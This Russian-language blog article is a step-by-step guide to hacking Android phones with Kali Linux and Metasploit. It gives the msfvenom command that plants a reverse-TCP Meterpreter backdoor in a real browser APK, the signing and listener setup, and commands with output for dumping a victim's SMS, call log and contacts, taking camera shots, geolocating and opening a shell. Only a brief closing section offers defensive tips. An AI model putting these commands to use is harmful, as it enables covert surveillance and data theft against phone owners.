Как взломать смартфон: этапы взлома

На модерации Отложенный

В статье описывается процесс, с помощью которого хакер может взломать смартфон жертвы, используя набор простых инструментов операционной системы Кали Линукс. И сегодня разберём один из способов того, как злоумышленник может взломать смартфон, находящийся под управлением операционной системы Андроид. Причём благодаря автоматизации некоторых процессов и при должной сноровке этот процесс можно поставить прямо-таки на поток.

  • Лаборатория
  • Возможности хакера
  • Процесс создания троянского приложения
  • Урожай
  • Превентивные меры или как не попасться в лапы хакера

Как взломать смартфон: лаборатория хакера.

  • Компьютер под управлением Кали Линукс Rolling
  • Смартфон под управлением Андроид
  • Невнимательный пользователь

Что хакер сможет сделать?

С помощью этого способа злоумышленник получит возможность:

  • читать смс
  • номера набранных телефонов
  • включать камеры устройства и просматривать видео в режиме он-лайн
  • определять текущее местоположение с большой точностью (в случае, если жертва использует Wi-Fi для выхода в сеть)
  • управлять устройством с помощью shell-команд (копировать, создавать и удалять файлы)

Как взломать смартфон: этапы взлома

Весь процесс разбивается на несколько этапов:

  • выбор оригинального приложения-жертвы
  • генерация пэйлоуда — декомпиляция двух файлов (созданного пэйлоуда и оригинального приложения .apk) — инжектированиефайлов пэйлоуда в приложение — инжектирование специальных возможностей пэйлоуда и необходимых для этого разрешений для полноценной работы метерпретера
  • размещение заражённого приложения и удалённая с ним работа

Как видите самый смак лежит во втором, самом объёмном пункте. Дело в том, что всё описанное в нём можно проделать с помощью инструментария Метасплойт единственной командой через msfvenom, а можно — вручную. Она — команда — появится чуть ниже, а пока детали подготовки и объяснение флагов.

Выбираем приложение.

Перед тем, как начать, хакеру необходимо определиться с искомым приложением, которое он будет заражать для последующей «раздачи». Дело здесь не столько в популярности выбираемого, сколько в УЖЕ ИМЕЮЩИХСЯ возможностях и разрешениях этой программы. Давая разрешение на установку программы на свой смартфон, пользователи всё чаще обращают внимание именно на действия, которые приложение будет осуществлять. Согласитесь, если программки для игры в шахматы или читалка кодов ошибок автомобилей будет иметь доступ к настройкам звонков и СМС, а также к камере смартфона, это насторожит любого внимательного пользователя.

Однако такое поведение очень даже характерно для другого рода утилит, в том числе системных. Речь идёт о всякого рода чистильщиках, ремонтных утилитах и, конечно, мобильных браузерах и мессенджерах. Скорее всего, хакер обратит свой взор именно в эту степь. Я для примера возьму набирающий популярность мобильный браузер Mercury (у него есть дурацкая особенность — он сидит в автозагрузке и запускается вместе с включением устройства, а хакеру это только на руку), предварительно скачав его apk модуль установщика. Он называетсяilegendsoft.mercury.apk.

Как взломать смартфон: генерация пэйлоуда.

Главная команда, которая и создаст троянский код:

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -x донор.apk -o заражённый.apk

-a dalvik — platform android — целью является платформа Андроид c архитектурой dalvik

Тип пэйлоуда. Обычно подбирается один из трёх типов пэйлоуда, которые по своему функционалу, в принципе, схожи. И все они входят в состав инструментария метерпретер из набора Метасплойт. Единственное их отличие — способ соединения с системой хакера. И выбирать будем из маленького списка:

  • reverse_tcp
  • reverse_https
  • reverse_http

IP адрес хакера. Если выбудете тренироваться на виртуальных площадках лаборатории, то есть смысл указать в качестве адреса локальный IP. У меня в статье будут фигурировать оба: локальный и глобальный адреса, так что вам лишь стоит набрать в Google командуwhat is my ip. IP адрес в локальной сети вам подскажет команда ifconfig. Оба адреса нам понадобятся, советую с этим моментом сразу определиться.

Порт. Выбираем любой, кроме реверсивных (80, например, не прокатит). Для работы в глобальной сети сразу необходимо позаботиться о пробросе портов. В статье о настройке троянской программы Dark Comet я пробросил с этой целью 1555 порт. Им и воспользуюсь в обоих экспериментах. Далее, настраиваем связку роутер — компьютер в опциях dst-nat (в разделе Переадресация портов в службе HTTP добавьте локальный адрес компьютера (из ответа на команду ifconfig в терминале Кали) в формате 192.168.Х.Х — всё зависит от версии вашего роутера):

IP-роутера:1555 -> 192.168.Х.Х:1555

по схеме:

Внешний IP (ХХХ.ХХХ.ХХХ.ХХХ):1555 -> Роутер -> Внутренний (192.168.Х.Х) IP:1555 -> Компьютер_хакера.

Донор.

Как уже указал, это браузер Меркурий (Mercury)ilegendsoft.mercury.apk.

Заражённый. В качестве имени будет фигурировать именно то имя, которое жертве будет подсовываться в качестве реального. Так что вопрос с наименованием также следует продумать заранее. У меня он называется payload.apk.

Далее. В Кали Линукс для работы нам не хватает одной маленькой библиотечки. Её и скачаем:

apt-get install zipalign

Итак, команда создания троянского приложения в моём случае принимает вид, в котором я и запускаю в терминале из директории с оригинальным apk:

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=глобальный-IP-адрес LPORT=1555 -x ilegendsoft.mercury.apk -o payload.apk

 

Готово. Результат вы можете увидеть в той же папке:

Чтобы приложение смогло установиться и запуститься, нам нужно задать ему подпись. И сначала сгенерируем хранилище ключей:

keytool -genkey -v -keystore trojan.keystore -alias trojan -keyalg RSA -keysize 2048 -validity 10000

Сейчас нам придётся пройти рутиную процедуру по  регистрации. Пишите, впрочем, что хотите:

сверху рисунка попались результаты работы пейлоуда - будущему браузеру присваивались неограниченные права

А теперь и сама подпись (работаем всё в той же папке).

 

jarsigner -verbose -keystore trojan.keystore -storepass 123456 -keypass 123456 -digestalg SHA1 -sigalg MD5withRSA payload.apk trojan

Подпись присваивается по умолчанию сроком на 10000 дней. Хватит. Тем временем в рабочей папке появился готовый к отсылке файл. Теперь заражённое приложение (кроме имени и чуть пополневшее — ничем от оригинала не отличается) должно оказаться на смартфоне жертвы и установиться.

Как взломать смартфон: работа с троянским приложением.

Антивирус при установке молчит. Установка проходит незаметно, кроме, конечно, предупреждений о непонятно откуда взявшихся непомерных желаниях браузера. Жертва включает браузер и лезет в сеть.

В это время злоумышленник ждёт урожая. Заряжаем Метасплойт (порты в роутере проброшены?):

msfconsole

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST 192.168.XXX.XXX

set LPORT 1555

run

Запущена текущая сессия метерпретера. Теперь остаётся вспомнить или изучить основные команды метера и команды shell под Андроид. Что-то можно выудить прямо сейчас. Наберите в строке метерпретера:

help

и вы увидите быстрые команды. Что здесь есть:

Что хоть взломали-то такое:

sysinfo

Проверим список sms-сок:

meterpreter > dump_sms

[*] Fetching 611 sms messages

[*] SMS messages saved to: sms_dump_20170531121028.txt

Проверим список звонков ( на выходе вы увидите путь calllog_dump_20170531121133.txt — документ в папке root):

meterpreter > dump_calllog

[*] Fetching 500 entries

[*] Call log saved to calllog_dump_20170531121133.txt

Телефонные номера в книжке:

meterpreter > dump_contacts

[*] Fetching 75 contacts into list

[*] Contacts list saved to: contacts_dump_20170531122443.txt

Логи будут представлены в виде текстовых файлов:

Рутирован ли смартфон:

meterpreter > meterpreter > check_root

[*] Device is not rooted

Сколько есть камер:

meterpreter > meterpreter > webcam_list

1: Back Camera

2: Front Camera

Фото на память (камеры можно выбирать):

meterpreter > webcam_snap

[*] Starting...

[+] Got frame

[*] Stopped Webcam shot saved to: /root/olutbmJh.jpeg

Запишем видео на память:

webcam_stream

На некоторых смартфонах пэйлоуд сам активирует геолокацию, у некоторых пользователей она всегда включена. Проверьте, где он сейчас находится — повезёт-не повезёт (один из моих заражённых смартфонов, работающих через Wi-Fi, определился с точностью до адреса дома):

wlan_geolocate

Наконец, для управления смартфоном наберём:

shell

Есть доступ к командной строке Андроида.

Превентивные меры или как не попасться на удочку.

Из написанного понятны слабые места для тех, кто захочет вас отработать.

  • приложение должно попасть на смартфон и установиться. А значит, есть смысл не оставлять его где попало без присмотра. Иначе любое ваше любимое приложение будет работать против вас же
  • качаем приложения только из двух источников: разработчики и Google Play (там тоже много чего нехорошего замечено, но Google пытается контролировать ситуацию)
  • читайте, что собирается делать устанавливаемое приложение. Если требований к доступу очень уж много, стоит отказаться. Бесплатный сыр, знаете ли… он такой.